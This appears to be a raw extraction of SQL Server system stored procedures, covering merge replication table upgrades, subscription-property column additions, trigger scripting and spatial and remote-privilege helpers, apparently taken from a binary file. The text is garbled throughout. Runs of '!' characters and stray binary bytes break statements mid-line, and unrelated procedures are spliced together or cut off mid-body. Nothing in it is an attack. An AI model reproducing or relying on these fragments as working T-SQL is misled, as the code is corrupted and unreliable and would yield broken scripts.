        ** MSdynamicsnapshotviews -- Created from Shiloh Beta2 onwards
        */

        if object_id('MSdynamicsnapshotviews') is NULL
        begin
            create table dbo.MSdynamicsnapshotviews (
                dynamic_snapshot_view_name sysname primary key,
            )
            if @@ERROR <> 0 goto error
        end

        exec dbo.sp_MS_marksystemobject MSdynamicsnapshotviews

        /* 
        ** MSdynamicsnapshotjobs -- Created from Shiloh Beta2 onwards
        */
        if object_id('MSdynamicsnapshotjobs') is NULL
        begin
            create table dbo.MSdynamicsnapshotjobs (
                id int identity,
                name sysname not null unique,
                pubid uniqueidentifier not null,
                job_id uniqueidentifier not null,
                agent_id int not null default 0,
                dynamic_filter_login sysname null,
                dynamic_filter_hostname sysname null,
                dynamic_snapshot_location nvarchar(255) not null,
                partition_id int not NULL default -1,
                computed_dynsnap_location bit not NULL default 0
            )
            if @@ERROR <> 0 goto error
        end 

        -- Update MSdynamicsnapshotjobs so that it has:
        --		agent_id default 1
        --    	partition_id default -1
        -- We are know herer that dbo.MSdynamicsnapshotjobs is not null so no need to check.
        
        -- Adding DEFAULT on column agent_id
	 if exists(select * from sys.columns where object_id = object_id('dbo.MSdynamicsnapshotjobs') 
	 	and name = 'agent_id')
	 begin
	        select @defaultname = null
	        select top 1 @defaultname = sysdc.name from sys.default_constraints sysdc join sys.columns sysc on
						(sysdc.parent_object_id = sysc.object_id and 
							sysdc.parent_column_id = sysc.column_id)		
					where sysc.object_id = object_id('dbo.MSdynamicsnapshotjobs') and
						sysc.name = 'agent_id'
		 if @defaultname is not null -- check if default exists
		 begin
		 	-- delete default if one exists
		 	select @alter_cmd = 'alter table dbo.MSdynamicsnapshotjobs drop constraint ' + QUOTENAME(@defaultname)
		 	exec (@alter_cmd)
		 end
		 -- add the default we want
		 select @alter_cmd = 'alter table dbo.MSdynamicsnapshotjobs add default 0 for agent_id'
		 exec (@alter_cmd)
	 end
	 if exists(select * from sys.columns where object_id = object_id('dbo.MSdynamicsnapshotjobs') 
	 	and name = 'partition_id')
	 begin
		 --Adding DEFAULT on column partition_id
		 select @defaultname = null
		 select top 1 @defaultname = sysdc.name from sys.default_constraints sysdc join sys.columns sysc on
						(sysdc.parent_object_id = sysc.object_id and 
							sysdc.parent_column_id = sysc.column_id)		
					where sysc.object_id = object_id('dbo.MSdynamicsnapshotjobs') and
						sysc.name = 'partition_id'
		 if @defaultname is not null -- check if default exists
		 begin
		 	-- delete default if one exists
		 	select @alter_cmd = 'alter table dbo.MSdynamicsnapshotjobs drop constraint ' + QUOTENAME(@defaultname)
		 	exec (@alter_cmd)
		 end
		 -- add the default we want
		 select @alter_cmd = 'alter table dbo.MSdynamicsnapshotjobs add default -1 for partition_id'
		 exec (@alter_cmd)
	 end

        declare colcurs cursor LOCAL FAST_FORWARD 
        for (select col_name, col_type from (select col_name = 'partition_id', col_type = 'int not NULL default -1'
                                                             union all
                                                             select col_name = 'agent_id', col_type = 'int not NULL default 0'
                                                             union all
                                                             select col_name = 'computed_dynsnap_location', col_type = 'bit not NULL default 0'
                                                             ) as t1                                                             
               left outer join
               sys.columns as t2
               on (t1.col_name = t2.name and t2.object_id = object_id('dbo.MSdynamicsnapshotjobs', 'U'))
               where t2.name is null) --This query gives all the columns in t1 that are not in syscolums
        for read only
        open colcurs
        fetch colcurs into @column_name, @column_type
        if (@@fetch_status <> -1)
        begin
            select @alter_cmd = 'alter table dbo.MSdynamicsnapshotjobs add ' + @column_name + ' ' + @column_type
            fetch colcurs into @column_name, @column_type
            while(@@fetch_status <> -1)
            begin
                select @alter_cmd = @alter_cmd + ', ' + @column_name + ' ' + @column_type
                fetch colcurs into @column_name, @column_type
            end
            exec (@alter_cmd)
            if @@error <> 0 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(/w[vgoto error
        end
        close colcurs
        deallocate colcurs

        if not exists (select * 
                         from sys.indexes 
                        where object_id = object_id('MSdynamicsnapshotjobs') 
                          and name = ('uciMSdynamicsnapshotjobs'))
        begin
            create unique clustered index uciMSdynamicsnapshotjobs on 
                dbo.MSdynamicsnapshotjobs(job_id, pubid)
            if @@ERROR <> 0 goto error
        end
        
        if not exists (select * 
                         from sys.indexes 
                        where object_id = object_id('MSdynamicsnapshotjobs') 
                          and name = ('nciMSdynamicsnapshotjobs'))
        begin
            create nonclustered index nciMSdynamicsnapshotjobs on 
                dbo.MSdynamicsnapshotjobs(partition_id)
            if @@ERROR <> 0 goto error
        end

        exec dbo.sp_MS_marksystemobject MSdynamicsnapshotjobs
        if @@ERROR <> 0 goto error
    end
	
    -- Index updates (SQL7.0 SP1)
    if @remove_repl = 0
    begin
        SELECT @table_name = N'sysmergepublications'
        IF object_id('sysmergepublications') is not NULL
        BEGIN 
            IF EXISTS ( SELECT pubid
                FROM dbo.sysmergepublications
                GROUP BY pubid
                HAVING COUNT(*) > 1 )
            begin
                RAISERROR (21203, 10, 4, @table_name)
                goto error
            end
            ELSE
                IF NOT EXISTS ( SELECT * FROM sys.indexes WHERE name = 'nc1sysmergepublications' AND
                    object_id = object_id('dbo.sysmergepublications') )
                    CREATE UNIQUE NONCLUSTERED INDEX nc1sysmergepublications
                        ON dbo.sysmergepublications(pubid)
                 if @@ERROR <> 0 goto error

				 IF NOT EXISTS ( SELECT * FROM sys.indexes WHERE name = 'nc2sysmergepublications' AND
                    object_id = object_id('dbo.sysmergepublications') )
					CREATE NONCLUSTERED INDEX nc2sysmergepublications 
					ON sysmergepublications(status)
                 if @@ERROR <> 0 goto error


				 -- add default constraint on allow_anonymous column 
				if not exists(
				select * 
				from sysconstraints as con join sys.columns as col 
					on con.colid = col.column_id
						and con.id = col.object_id
						and OBJECTPROPERTY ( con.constid , 'IsDefaultCnst' ) = 1 
						and col.object_id = object_id('dbo.sysmergepublications')
						and col.name = 'allow_anonymous')and exists 
				(select * from sys.columns where object_id = object_id('dbo.sysmergepublications') and name = 'allow_anonymous')
				begin
					exec(N'alter table dbo.sysmergepublications add default 1 for allow_anonymous')
				end


				-- Changing default constraint on publisher from @@servername to publishingservername() 
				if exists(select * from sys.columns where object_id = object_id('dbo.sysmergepublications') and name = 'publisher')
				begin
					declare @default_publisher_c_name nvarchar(258)
					select @default_publisher_c_name = obj.name 
					from sysconstraints as con join sys.columns as col 
						on con.colid = col.column_id 
							and con.id = col.object_id
							and OBJECTPROPERTY ( con.constid , 'IsDefaultCnst' ) = 1 
							and col.object_id = object_id('dbo.sysmergepublications')
							and col.name = 'publisher'
							join sys.objects as obj
							on obj.object_id=con.constid

					if(@default_publisher_c_name is not null)
					begin
						select @default_publisher_c_name = quotename(@default_publisher_c_name)
						exec (N'alter table dbo.sysmergepublications  drop constraint ' + @default_publisher_c_name)
						exec(N'alter table dbo.sysmergepublications add default publishingservername()  for publisher') 					
					end
				end

        END 


        --  MSmerge_conflicts_info
        SELECT @table_name = N'MSmerge_conflicts_info'
        IF object_id('MSmerge_conflicts_info') is not NULL
        BEGIN
            IF EXISTS ( SELECT tablenick, rowguid, origin_datasource, conflict_type
                FROM MSmerge_conflicts_info
                GROUP BY tablenick, rowguid, origin_datasource, conflict_type
                HAVING COUNT(*) > 1 )
            begin
                RAISERROR (21203, 10, 6, @table_name)
                goto error
            end
            ELSE
                IF NOT EXISTS ( SELECT * FROM sysindexes WHERE name = 'nc1MSmerge_conflicts_info' AND
                    id = OBJECT_ID('MSmerge_conflicts_info') )
                    CREATE UNIQUE NONCLUSTERED INDEX nc1MSmerge_conflicts_info 
                        ON MSmerge_conflicts_info(tablenick, rowguid, origin_datasource, conflict_type)
            if @@ERROR <> 0 goto error
        END

        --  sysmergeschemachange
        SELECT @table_name = N'sysmergeschemachange'
        IF object_id('sysmergeschemachange') is not NULL
        BEGIN
            IF EXISTS ( SELECT schemaversion, pubid
                FROM dbo.sysmergeschemachange
                GROUP BY schemaversion, pubid
                HAVING COUNT(*) > 1 )
            begin
                RAISERROR (21203, 10, 7, @table_name)
                goto error
            end
            ELSE
            BEGIN
                IF EXISTS ( SELECT * FROM sys.indexes WHERE name = 'schemachangeversion' AND
                    object_id = OBJECT_ID('sysmergeschemachange') )            
                    DROP INDEX sysmergeschemachange.schemachangeversion
                if @@ERROR <> 0 goto error
            
                -- Recreate this index as unique clustered with one more field in index key.
                CREATE UNIQUE CLUSTERED INDEX schemachangeversion ON sysmergeschemachange(schemaversion, pubid) 
                if @@ERROR <> 0 goto error
            END

            -- In Yukon we no longer have a schema version SCHEMA_TYPE_SYSTABLE which
            -- indicates a system table schema script file. This type was deprecated because
            -- it was used only by JET consumers. In Yukon Jet subscribers are not supported
            -- Hence deleting any entries which have schema type SCHEMA_TYPE_SYSTABLE (20)
            delete from dbo.sysmergeschemachange where schematype=20        
            
            -- Adding schemastatus column. 
            if not exists (select * from sys.columns where object_id = object_id('dbo.sysmergeschemachange') and
                            name = 'schemastatus')
            begin
                alter table dbo.sysmergeschemachange add schemastatus        tinyint        NOT NULL default(1)
                if @@error <> 0 goto error
            end

            if not exists (select * from sys.columns where object_id = object_id('sysmergeschemachange') and
                        name = 'schemasubtype')
            begin
                alter table sysmergeschemachange add schemasubtype int NOT NULL default 0
                if @@error <> 0 goto error
            end

            -- Modifying the type of the schematext from nvarchar(2000) to nvarchar(max)
            if exists (select * from sys.columns where object_id = object_id('dbo.sysmergeschemachange') and
                            name = 'schematext')
            begin
                exec (' alter table dbo.sysmergeschemachange alter column schematext nvarchar(max) NOT NULL ')
                if @@error <> 0 goto error
            end
            
         END


        --  sysmergesubsetfilters    
        SELECT @table_name = N'sysmergesubsetfilters'
        IF object_id('sysmergesubsetfilters') is not NULL
        BEGIN
            IF EXISTS ( SELECT join_filterid
                FROM dbo.sysmergesubsetfilters
                GROUP BY join_filterid
                HAVING COUNT(*) > 1 )
            begin
                RAISERROR (21203, 10, 8, @table_nam!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(cvFqcreate procedure sys.sp_vupgrade_MSsubscription_properties
as
begin
    set nocount on 

    declare @cmd nvarchar(1000)
            ,@table_name sysname
            ,@table_id int
            ,@column_name nvarchar(128)
            ,@column_type nvarchar(128)
            ,@alter_cmd nvarchar(max)


    -- raiserror('sp_vupgrade_MSsubscription_properties', 0,1)
    select @table_name = N'MSsubscription_properties'
            ,@table_id = OBJECT_ID('MSsubscription_properties')

    if object_id(@table_name,'U') is not NULL
    begin
        declare colcurs cursor LOCAL FAST_FORWARD 
        for (select col_name, col_type from (select col_name = 'ftp_address', col_type = 'sysname NULL' --FTP properties
                                                             union all
                                                             select col_name = 'ftp_port', col_type = 'int NULL'
                                                             union all
                                                             select col_name = 'ftp_login', col_type = 'sysname NULL'
                                                             union all
                                                             select col_name = 'ftp_password', col_type = 'sysname NULL'
                                                             union all
                                                             select col_name = 'alt_snapshot_folder', col_type = 'nvarchar(255) NULL' --Portable snapshot (Shiloh)
                                                             union all
                                                             select col_name = 'working_directory', col_type = 'nvarchar(255) NULL'
                                                             union all
                                                             select col_name = 'use_ftp', col_type = 'bit default 0 NOT NULL'-- Subscriber need only set this bit and have valid login info to publisher (Shiloh)
                                                             union all
                                                             select col_name = 'dts_package_name', col_type = 'sysname NULL' -- Transformable subscriptions (Shiloh)
                                                             union all
                                                             select col_name = 'dts_package_password', col_type = 'nvarchar(524) NULL'
                                                             union all
                                                             select col_name = 'dts_package_location', col_type = 'int default 1 NOT NULL'
                                                             union all
                                                             select col_name = 'enabled_for_syncmgr', col_type = 'bit default 0 NOT NULL'-- Windows Synchronization Manager support (Shiloh)
                                                             union all
                                                             select col_name = 'offload_agent', col_type = 'bit default 0 NOT NULL'-- Remote (DCOM) agents support (Shiloh)
                                                             union all
                                                             select col_name = 'offload_server', col_type = 'sysname default NULL'
                                                             union all
                                                             select col_name = 'dynamic_snapshot_location', col_type = 'nvarchar(255) default NULL' -- Dynamic snapshot location (Shiloh)
                                                             union all
                                                             select col_name = 'use_web_sync', col_type = 'bit default 0' --WebSync (Yukon)
                                                             union all
                                                             select col_name = 'internet_url', col_type = 'nvarchar(260) default NULL'
                                                             union all
                                                             select col_name = 'internet_login', col_type = 'sysname default NULL'
                                                             union all
                                                             select col_name = 'internet_password', col_type = 'nvarchar(524) default NULL'
                                                             union all
                                                             select col_name = 'internet_security_mode', col_type = 'int not null default 0'
                                                             union all
                                                             select col_name = 'internet_timeout', col_type = 'int not null default 60'
                                                             union all
                                                             select col_name = 'hostname', col_type = 'sysname default NULL'-- Partition Hostname (Yukon)
                                                             union all
                                                             select col_name = 'publisherlink', col_type = 'sysname NULL'
                                                             union all
                                                             select col_name = 'publisherlinkuser', col_type = 'sysname NULL'
                                                             union all
                                                             select col_name = 'job_step_uid', col_type = 'uniqueidentifier NULL'
                                                             ) as t1                                                             
               left outer join
               sys.columns as t2
               on (t1.col_name = t2.name and t2.object_id = object_id('dbo.MSsubscription_properties', 'U'))
               where t2.name is null) --This query gives all the columns in t1 that are not in syscolums
        for read only
        open colcurs
        fetch colcurs into @column_name, @column_type
        if (@@fetch_status <> -1)
        begin
            select @alter_cmd = 'alter table dbo.MSsubscription_properties add ' + @column_name + ' ' + @column_type
            fetch colcurs into @column_name, @column_type
            while(@@fetch_status <> -1)
            begin
                select @alter_cmd = @alter_cmd + ', ' + @column_name + ' ' + @column_type
                fetch colcurs into @column_name, @column_type
            end
            exec (@alter_cmd)
            if @@error <> 0 return 1
        end
        close colcurs
        deallocate colcurs


        -- Since ftp login information is not required to be persisted at the 
        -- database anymore and the use_ftp column is now the sole indicator 
        -- of whether ftp is going to be used for a particular subscription,
        -- set the use_ftp column to 1 for subscriptions that used to have
        -- a non-null ftp address
        if exists (select * from sys.columns where object_id = @table_id and
            name = 'ftp_address')
        begin
            -- must exec in separate process; deferred syntax will fail if update references non-existent column
            select @cmd = 'update dbo.MSsubscription_properties set use_ftp = 1 where ftp_address is not null and ftp_address <> N'''''
            exec (@cmd)
        end          
               
        --    MSsubscription_properties indexes (SQL7.0 SP1)
        if exists( select publication, publisher_db, publisher
                from MSsubscription_properties
                group by publication, publisher_db, publisher
                having count(*) > 1 )
        begin
            raiserror(21203, 10, 2, @table_name)
        end
        else
        begin
            if no!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<L*
D]5Fqt exists( select * from sysindexes 
                where name = 'uc1MSsubscription_properties' and id = @table_id )
            begin
                create unique clustered index uc1MSsubscription_properties on
                MSsubscription_properties(publication, publisher_db, publisher)
                if @@ERROR <> 0
                    return 1
            end
        end
        --
        -- remove defaults on hostname, internet_url, internet_login, internet_password
        --
        declare #colcurs cursor LOCAL FAST_FORWARD for
            select dc.name 
            from sys.default_constraints as dc 
                join sys.columns as c
                    on dc.parent_object_id = c.object_id
                        and dc.parent_column_id = c.column_id
            where c.object_id = @table_id
                and c.name in (N'hostname'
                                        ,N'internet_url'
                                        ,N'internet_login'
                                        ,N'internet_password')
        open #colcurs
        fetch #colcurs into @column_name
        while (@@fetch_status != -1)
        begin
            --
            -- drop the default constraint
            --
            select @alter_cmd = N'alter table dbo.MSsubscription_properties drop constraint  ' + sys.fn_replreplacesinglequote(quotename(@column_name))
            exec (@alter_cmd)
            if @@error <> 0 
                return 1
            --
            -- fetch next in the cursor
            --
            fetch #colcurs into @column_name
        end
        close #colcurs
        deallocate #colcurs
    end -- if exists( MSsubscription_properties)
    --
    -- all done
    --
    
    return 0
end
hm
h        RAISERROR ( 14144,  16, -1, @subscriber, @db_name)
                    RETURN (1)
                END
			
                -- Return without error if @noraise = 1 
                -- Used when called from sp_dropsubscription to drop
                -- subscriber when all subscriptions have been dropped.
                RETURN (0)
	END		

	IF @@ERROR <> 0 OR @retcode <> 0
            RETURN (1)

    END
    
    /*
    ** Drop the subsubscriber_info in the distribution database
    */
    /*
    ** if @ignore_distributor = 1, we are in bruteforce cleanup mode, don't do RPC.
    */
    if @ignore_distributor = 0
    begin


        /*
        ** Get distribution server information for remote RPC
        ** agent verification.
        */
        EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher  = @publisher,
															@rpcsrvname = @distributor OUTPUT,
															@distribdb  = @distribdb   OUTPUT
        IF @@error <> 0 OR @retcode <> 0
            BEGIN
            RAISERROR (14071, 16, -1)
               RETURN (1)
        END
        
        /*
        ** Delete information from MSsubscriber_info in the distribution db
        */
        if @distribdb is not null
        begin
            SELECT @distproc =	QUOTENAME(RTRIM(@distributor)) + '.' +
            					QUOTENAME(RTRIM(@distribdb)) +
            					'.dbo.sp_MSdrop_subscriber_info'
            					
            EXEC @retcode = @distproc
							@publisher  = @publisher_local,
							@subscriber = @subscriber

            IF @@error <> 0 OR @retcode <> 0
                BEGIN
                RAISERROR (14042, 16, -1)
                RETURN (1)
            END
        end
    end

    -- We have already validated the existence of the server at this point
    SELECT @subscriber = sys.fn_getpersistedservernamecasevariation(@subscriber) collate database_default

	IF @distribdb IS NOT NULL AND UPPER(@@SERVERNAME) = UPPER(@distributor)
	BEGIN
	
		-- Determine whether SUBSCRIBER bit in SRVSTATUS can be cleared
		EXECUTE @ClearSubStatus = sys.sp_MSDropCanClearSubscriberStatus @publisher_local,
											@distributor,
											@subscriber,
											@distribdb
	END

	IF @ClearSubStatus = 1
	BEGIN
		-- Turn off the subscriber server option(s)
		SELECT @subscriber = sys.fn_getpersistedservernamecasevariation(@subscriber) collate database_default
		if (@subscriber is not null)
			EXEC @retcode = sys.sp_MSdrop_subserver @subscriber = @subscriber
		IF @@error <> 0 OR @retcode <> 0
		BEGIN
			RETURN (1)
		END
	END

    RAISERROR (14062, 10, -1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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sp_MSscript_singlerow_trigger 
(
    @objid        int,
    @publisher    sysname,
    @publisher_db sysname,
    @publication  sysname,
    @procname     sysname,
    @proc_owner      sysname,
    @cftproc      sysname,
    @identity_col  sysname,
    @ts_col        sysname,
    @op_type char(3) = 'ins', -- 'ins, 'upd', 'del'
    @primary_key_bitmap varbinary(4000) = NULL,
    @pubversion int
)
as
BEGIN
    set nocount on
    declare @colname sysname
                ,@spacer nvarchar(1)
                ,@ccoltype sysname
                ,@this_col int
                ,@rc int
                ,@cmd nvarchar(4000)

    --
    -- script update checks
    --
    if @op_type in ('ins', 'upd')
        exec sys.sp_MSscript_trigger_update_checks @objid, @identity_col, @ts_col, @op_type, 0
    --
    -- continue scripting
    --
    select @cmd = N' 
    ' + N'--
    ' + N'-- Are we doing single or multi row trigger update 
    ' + N'--
    if (@rc = 1)
    begin 
        ' + N'--
        ' + N'-- single row trigger update
        ' + N'-- '
    insert into #proctext(procedure_text) values(@cmd)
    --
    -- script the trigger assignments
    --
    if @op_type in ('ins', 'upd')
    begin
        select @cmd = N'
        select 
'
        insert into #proctext(procedure_text) values(@cmd)
        exec sys.sp_MSscript_trigger_assignment @objid, null, 8, @ts_col, @op_type, 1, @primary_key_bitmap
        select @cmd = N'
        from inserted '
        insert into #proctext(procedure_text) values(@cmd)    
    end
    if (@cftproc is null)
    begin
        --
        -- For immediate updating cases
        -- we need to cache the inserted values for identity operations
        --
        if @op_type in ('ins')
        begin
            select @cmd = N'
        select 
'
            insert into #proctext(procedure_text) values(@cmd)
            exec sys.sp_MSscript_trigger_assignment @objid, '_old', 8, @ts_col, @op_type, 0, @primary_key_bitmap
            select @cmd = N'
        from inserted '
            insert into #proctext(procedure_text) values(@cmd)    
        end
    end
    if @op_type in ('upd', 'del')
    begin
        select @cmd = N'
        select 
'
        insert into #proctext(procedure_text) values(@cmd)
        exec sys.sp_MSscript_trigger_assignment @objid, '_old', 8, @ts_col, @op_type, 0, @primary_key_bitmap
        select @cmd = N'
        from deleted '
        insert into #proctext(procedure_text) values(@cmd)    
    end
    --
    -- script the execution logic
    --
    exec sys.sp_MSscript_trigger_exec_rpc @publisher, @publisher_db, @publication, @procname, @proc_owner, 
        @cftproc, @objid, @op_type, 12, @identity_col, @ts_col, @primary_key_bitmap, @pubversion
    --
    -- script any updates to be done
    --
    if @op_type in ('ins', 'upd')
        exec sys.sp_MSscript_trigger_updates @identity_col, @ts_col, @op_type, @objid, 8, @primary_key_bitmap
    --
    -- script the end (for single row change)
    -- 
    select @cmd = N'
    end -- end of single row trigger update '
    insert into #proctext(procedure_text) values(@cmd)
    --
    -- all done
    --
    return 0
END
0y@ 8
create procedure sys.sp_MScreate_all_article_repl_views
    @snapshot_application_finished bit = 0
as
    declare @pubid uniqueidentifier, @artid uniqueidentifier, @retcode int

    -- security check
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @retcode<>0 or @@ERROR<>0
        return 1
    
    select @retcode = 0
    
    if object_id('sysmergesubsetfilters','U') is NULL
        return 0
    
    declare artidpubid CURSOR LOCAL FAST_FORWARD FOR 
    select artid, pubid from dbo.sysmergearticles 
    FOR READ ONLY
    
    open artidpubid
    
    fetch artidpubid into @artid, @pubid

    while (@@fetch_status <> -1)
    begin
    
        exec @retcode = sys.sp_MScreate_article_repl_view @pubid, @artid
        if @@ERROR<>0 OR @retcode<>0 
        begin
            select @retcode = 1
            goto error
        end
        
        fetch next from artidpubid into @artid, @pubid
    end

    if @snapshot_application_finished = 1
    begin
        -- potentially there can be other post snapshot steps that can be done here
        execute @retcode= sys.sp_MSrepl_ddl_triggers @type='merge', @mode='add'
        if @@ERROR <> 0 or @retcode <> 0 
        begin
            select @retcode = 1
            goto error
        end
    end

error:
    close artidpubid
    deallocate artidpubid
    return @retcode
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!
`Ld<0^Q0u a8CREATE FUNCTION sys.fn_xe_file_target_read_file (
	@path nvarchar(260), 
	@mdpath nvarchar(260),
	@initial_file_name nvarchar(260) = NULL,
	@initial_offset bigint = NULL
)
RETURNS table
AS
	RETURN SELECT *
	FROM OpenRowSet(TABLE FN_XE_READ_FILE_TARGET_FILE, @path, @mdpath, @initial_file_name, @initial_offset)
0
 8 
-- add it
create view sys.dm_pdw_nodes_os_virtual_address_dump as
select *, convert(int, null) pdw_node_id from sys.dm_os_virtual_address_dump
0 v	8CREATE PROC sys.sp_help_spatial_geometry_histogram
(
	@tabname	SYSNAME,
	@colname	SYSNAME,
	@resolution	INT,
	@xmin		FLOAT(53),
	@ymin		FLOAT(53),
	@xmax		FLOAT(53),
	@ymax		FLOAT(53),
	@sample		FLOAT = 100
)
AS
BEGIN
	-- Check to see that the object names are local to the current database.
	DECLARE @dbname SYSNAME = parsename(@tabname,3)
	IF @dbname is null
		SELECT @dbname = db_name()
	ELSE IF @dbname <> db_name()
		BEGIN
			raiserror(15250,-1,-1)
			return (1)
		END
		
	-- Check to see if the TABLE exists
	DECLARE @objid int = object_id(@tabname);
	IF @objid is NULL
	BEGIN
		raiserror(15009,-1,-1,@tabname,@dbname)
		return (1)
	END

	declare @quoted_tabname nvarchar(max) = QUOTENAME(@dbname, N']') + N'.' + QUOTENAME(OBJECT_SCHEMA_NAME(@objid), N']') + N'.' + QUOTENAME(OBJECT_NAME(@objid), N']');

	-- Check to see if the COLUMN exists
	DECLARE @columns INT = (select COUNT(*) from sys.columns where object_id = @objid and name = @colname and system_type_id = 240 and user_type_id = 129);
	IF @columns <> 1
	BEGIN
		raiserror(15148,-1,-1,@colname)
		return (1)
	END

	-- Check to see if the RESOLUTION is valid
	IF @resolution < 10
	BEGIN
		SET @resolution = 10;
	END
	IF @resolution > 5000
	BEGIN
		SET @resolution = 5000;
	END

	-- Check to see if the BOUNDING BOX is valid
	DECLARE @bb_query nvarchar(max) = N'DECLARE @a int; SELECT @a = id FROM sys.PlanarGridCoverage(NULL, ' + convert(nvarchar, @xmin, 2) + N',' + convert(nvarchar, @ymin, 2) + N','
	+ convert(nvarchar, @xmax, 2) + N',' + convert(nvarchar, @ymax, 2) + N',' + cast(@resolution as nvarchar) + N',' + cast(@resolution as nvarchar) + N')';
	exec(@bb_query);

	DECLARE @tablesample nvarchar(max) = '';
	IF @sample <> 100
	BEGIN
		SET @tablesample = N'TABLESAMPLE (' + cast(@sample as nvarchar) + N' PERCENT)';
	END

	-- Run the query
	DECLARE @query nvarchar(max) = N'SELECT a.id AS CellId, geometry::STGeomFromWKB(a.WKB, 0) AS Cell, COUNT(*) AS IntersectionCount FROM ' + @quoted_tabname + N' ' + @tablesample +
	N' CROSS APPLY sys.PlanarGridCoverage(' + @colname + N',' + convert(nvarchar, @xmin, 2) + N',' + convert(nvarchar, @ymin, 2) + N',' + convert(nvarchar, @xmax, 2) + N',' + convert(nvarchar, @ymax, 2) +
	N',' + cast(@resolution as nvarchar) + N',' + cast(@resolution as nvarchar) + N') a GROUP BY a.id, a.WKB';
	exec(@query);
END
04@ D8ah!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!v`<ޙ0 38
create procedure sys.sp_column_privileges_rowset_rmt
(
    @table_server       sysname,
    @table_catalog      sysname = null,
    @table_name         sysname = null,
    @table_schema       sysname = null,
    @column_name        sysname = null,
    @grantor            sysname = null,
    @grantee            sysname = null
)
as
    select
        GRANTOR,
        GRANTEE,
        TABLE_CATALOG,
        TABLE_SCHEMA,
        TABLE_NAME,
        COLUMN_NAME,
        COLUMN_GUID,
        COLUMN_PROPID,
        PRIVILEGE_TYPE,
        IS_GRANTABLE
    from
        sys.fn_remote_column_privileges (
                                        @table_server,
                                        @table_catalog,
                                        @table_schema,
                                        @table_name,
                                        @column_name,
                                        @grantor,
                                        @grantee)
    order by 3, 4, 5, 6, 9, 1, 2
0n 
8create procedure sys.sp_MSrepl_check_server (
    @srvname sysname,
    @check_distdb bit = 0
        ) AS
    -- This sp is called by sp_dropserver to check if the server is in use by replication.
    declare @subscriber_bit smallint
    declare @distributor_bit smallint
    declare @retcode int
    declare @proc nvarchar(255)
    declare @dbname sysname

    -- Intialize
    select @distributor_bit = 8
    select @subscriber_bit = 4

    if @check_distdb = 0
    begin
        -- Check to see if the server is marked as a Distributor
        if exists (select * from master.dbo.sysservers where UPPER(srvname) = UPPER(@srvname) collate database_default and
            srvstatus & @distributor_bit <> 0)
        begin
            raiserror(20581, 16, -1, @srvname) 
            return (1)
        end
        -- Check to see if the server is a dist publisher
        if object_id('msdb.dbo.MSdistpublishers') is not null
        begin
            if exists (select * from msdb.dbo.MSdistpublishers where
                UPPER(name) = UPPER(@srvname) collate database_default)
            begin
                raiserror(20582, 16, -1, @srvname) 
                return (1)
            end
        end
        -- Check to see if the server is in use as a subscriber in the distribution dbs.
        if object_id('msdb.dbo.MSdistributiondbs') is not null
        begin
            declare hCForEachDb CURSOR LOCAL FAST_FORWARD FOR 
                select name 
